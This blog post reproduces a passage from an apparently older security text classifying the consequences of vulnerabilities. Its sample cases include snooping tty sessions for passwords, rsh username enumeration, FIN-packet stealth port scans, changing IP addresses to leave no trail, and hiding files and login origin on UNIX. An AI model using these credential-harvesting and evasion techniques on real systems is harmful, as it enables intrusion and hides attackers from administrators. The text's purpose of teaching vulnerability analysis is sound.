In this example, the vulnerability demonstrates that it is possible to capture the tty session and the intruder merely has to wait for the user to attempt to log in and the user name and password information is displayed to the attacker.

To promote this to an interactive shell,  do the following:

1. Start snooping,   storing all information collected for later examination.

2. After a period of time, investigate snooped session for obvious passwords and accounts, or other useful information. Most access information takes place in the first 100 bytes of each session.

3. If account is discovered with administrator access,  use that preferably over regular accounts.    This should yield access to a new service.

4. At minimum,   secure information may have been compromised.    Any plaintext information may yield an additional security problem.

5. Any encrypted information may be decrypted by standard methods.

User can confirm a hidden element

The most common version of this type of vulnerability exists when too much information in the error reporting process. Some of the earliest cases were when computers would report "invalid user name" when a name was incorrect and "invalid password" when the password was wrong. However, it would be harder for an intruder to randomly guess accounts on a host if both cases yielded an error such as "Username or password is incorrect."

Sample Vulnerability [rsh confirmation, Credit: David Holland]

$ rsh victimhost -l realuser

and

$ rsh victimhost -l nosuchuser

reports different errors.

Another example is a stealth port scan, which means that a person attempts to find all the running processes on a host without being logged trying to do it. Normally, TCP port wrappers would log the connection attempt, but only if the connection negotiation was valid. Sometimes the implementation is incorrect and yields a response that proves the existence of a running process without being logged.

Sample Vulnerability [Stealth Scan #1, Credit: Duncan Simpson]

"I discovered another bug.    If you send a packet with FIN but not ACK set then Linux will disgard the packet if the port is listening and send RST if not."

In example #2, the problem exists in the TCP/IP protocol stack at a very low level. When the initial connection is made, the host may not record the fact the intruder checked for the running process because a full connection wasn't made. Because TCP/IP at this level doesn't report errors like this as security issues, the "scan" is considered a "stealth" scan. In this way, an intruder could try all the possible TCP ports on a host to see what running processes exist without being noticed.

Both of these examples can be used to attempt higher access, but from the perspective of planning. Consider this:

1) Because the elements are now identified, and more information is now known about the host, the host can be either attacked or left alone, depending on if there appears to be a way to penetrate.

2) If the host is not vulnerable, nobody will know that the search was made, and another host can be scanned.

3) If the host is vulnerable, the intruder has the option of penetrating this host immediately, or waiting, without fear of the administrator paying closer attention to the host.

Hiding Elements

Hiding elements is a fairly large category, and the title isn't very descriptive. However, elements that are most important to security are associated with identity. If an intruder is concerned about being caught, they will spend as much time as needed to establish an air of invisibility to their actions.

Hiding Identity

It would be ideal for an intruder to hide their identity in order to prevent prosecution. The act of hiding one's identity can be either a safety in numbers concept (which sometimes doesn't work) or by simply laying a false trail to be followed.

Sample Vulnerability [Reconfiguring TCP/IP Host Address on a non-switched network]

The intruder may change the IP address to a host on a non-switched network in order to have an IP address different than the ones allocated for the network.    So a host with IP address xxx.xxx.xxx.5 may change to any unused IP address (possibly xxx.xxx.xxx.151)   and attack.    Then the intruder can change it back after the attack took place and there will be no trail. This attack will require console or non-network access.

Computer Vulnerabilities Consequence Page 60

Using this example, it is easy for an intruder to hide their identity. Doing so may mean they can be traced, but traced to a dead end connection. This may bypass a considerable amount of security if the assumption is made that all hosts on the Internet can be traced back to a working computer. Intrusion Detection Systems are particularly vulnerable to this type of attack.

Hiding Files

Hiding files may be necessary when an intruder wishes to place files on the host that they don't wish to be identified. In this age of jumbo operating systems, its finding a suspicious file may be like finding a needle in a haystack. A typical Linux distribution comes with 14,000 files, so finding just one may be hard. However, some tricks exist which make hiding files even more effective.

Sample Vulnerability [Hidden Files, HP-UX 9.x]

HP-UX allows the creation of hidden files,  using chmod +H filename.    You can also do this to directories.    What it actually does is append a "+" to the file.    The files/directories simply do not show up unless you use a ls -H.

In this example, the files now no longer appear with standard "ls" commands. A monitoring program based on "ls" might not be able to catch files hidden in this way, and therefore the files will remain invisible. This could be a particularly bad problem if it were used to hide installed software, such as trojan horses.

Hiding Origin

Some cases, without spoofing, information about where a person comes from on the host can be hidden to divert suspicion. If the exact origin of an attacker is unknown, or nebulous in some way, it becomes possible for the intruder to protect himself or herself from prosecution.

Sample Vulnerability [Old Trick]

Considered an old trick which worked on a remarkable number of different UNIX flavors back in the early 1990's,  computers which allowed a user to log in a second time would not display network resources because they were technically logged in "locally".

$ who

root tty00 larry ttyp1 curly ttyp2 moe ttyp4 $ login moe Password: $ who

root tty00 larry ttyp1 curly ttyp2 moe ttyp4

$

The "old trick" is simply a visual spoof, not that it isn't logged. However, if the system administrator doesn't realize they are being hacked, there is a good chance they aren't going to know they are before the hacker gains administrator access and can clear themselves from the logs entirely. But in this way, the origin is obscured enough to be effective.

(0.0)

greenhorn.victim.com cheyanne.victim.com

pearl-harbor.attacker.com <- Hacker

(0.0)

greenhorn.victim.com cheyanne.victim.com

<- Network address is now gone!

Environmental Consequence Taxonomy

Consequence's taxonomy is entirely built on the framework of the environment. Like fault, consequence is cumulative, object oriented, and is best broken down into descriptions for each environment. The Environmental Consequence Taxonomy (E.C.T.) is the domain of consequences for a specific environment. Combined with the EFT, they complete the necessary attributes for any situation.

The categories in this taxonomy are extremely flexible, although they should be described in a single sentence. However, it is virtually impossible to plan for all the consequences because applications are infinite in nature. The one presented earlier is a nice composite of basic elements of a number of different operating systems, but is still incomplete.

Consider as well that consequences stretch across all installed components, that obtaining higher access to the system through one type of consequence may lead to gaining "gold pieces" in a game that the server runs. By adding new possible consequences with each new component adds the ability to track what new situations exist on the host.

The combination EFT/ECT report is very useful for people to understand the impact of installing new software on a host. A sample report is given in Appendix A.

No comments:

Post a Comment